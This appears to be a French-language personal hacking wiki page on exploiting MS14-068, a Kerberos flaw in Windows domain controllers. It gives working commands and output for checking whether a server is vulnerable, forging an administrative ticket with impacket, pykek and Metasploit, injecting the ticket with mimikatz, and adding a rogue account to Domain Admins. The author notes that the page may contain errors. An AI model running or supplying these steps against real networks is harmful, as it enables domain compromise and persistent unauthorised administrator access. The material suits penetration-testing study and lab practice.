Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

MS14-068

Enumeration

Responder peut vérifier si un serveur est vulnérable à MS14-068 (Note: il peut être nécessaire de modifier le temps de timeout dans le fichier FindSMB2UPTime.py):

[~] python /usr/share/responder/FindSMB2UPTime.py 192.168.31.220
DC is up since: 2013-12-28 22:24:25
This DC is vulnerable to MS14-068

Exploitation

Génération du token Keberos

impacket

[impacket] intégre un module pour exploiter MS14-068. Ce module permet de générer le ticket et ensuite de se connecter au serveur cible:

/usr/local/bin/goldenPac.py -target-ip 192.168.31.220 -dc-ip 192.168.31.220 thinc.local/bob:\!Qwerty^@master.thinc.local

pykek

L’outil pykek peut être utilisé pour générer un token Kerberos pour un utilisateur administratif. Dans l’exemple suivant on part d’un utilisateur à faible privilèges dont on connaît le login, le mdp et le SID.

[pykek] python ms14-068.py -u bob@THINC.LOCAL -s S-1-5-21-279202750-2644721835-2190734642-1105 -d 192.168.31.220 -p \!Qwerty^

En cas d’erreur il est nécessaire de s’assurer que l’horloge soit bien synchronisée avec le DC:

[~] rdate -n 192.168.31.220
Sat Dec 28 02:37:08 EST 2013

msfconsole

Un module metasploit existe également (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):

msf exploit(current_user_psexec) > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msf auxiliary(ms14_068_kerberos_checksum) > show options

Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):

   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    THINC.LOCAL                                    yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  !Qwerty^                                       yes       The Domain User password
   RHOST     192.168.31.220                                 yes       The target address
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      bob                                            yes       The Domain User
   USER_SID  S-1-5-21-279202750-2644721835-2190734642-1105  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

msf auxiliary(ms14_068_kerberos_checksum) > run

[*] Validating options...
[*] Using domain THINC.LOCAL...
[*] 192.168.31.220:88 - Sending AS-REQ...
[*] 192.168.31.220:88 - Parsing AS-REP...
[*] 192.168.31.220:88 - Sending TGS-REQ...
[+] 192.168.31.220:88 - Valid TGS-Response, extracting credentials...
[+] 192.168.31.220:88 - MIT Credential Cache saved on /root/.msf5/loot/20131228023752_default_192.168.31.220_windows.kerberos_061217.bin
[*] Auxiliary module execution completed

Utilisation du token kerberos

Sous Windows:

klist purge
mimikatz.exe "kerberos::ptc TGT_user-a-1@dom-a.loc.ccache" exit

Sur une machine reliée au domaine on peut:

net user hacked password /add /domain
net group "Domain Admins" hacked /add /domain

Ressources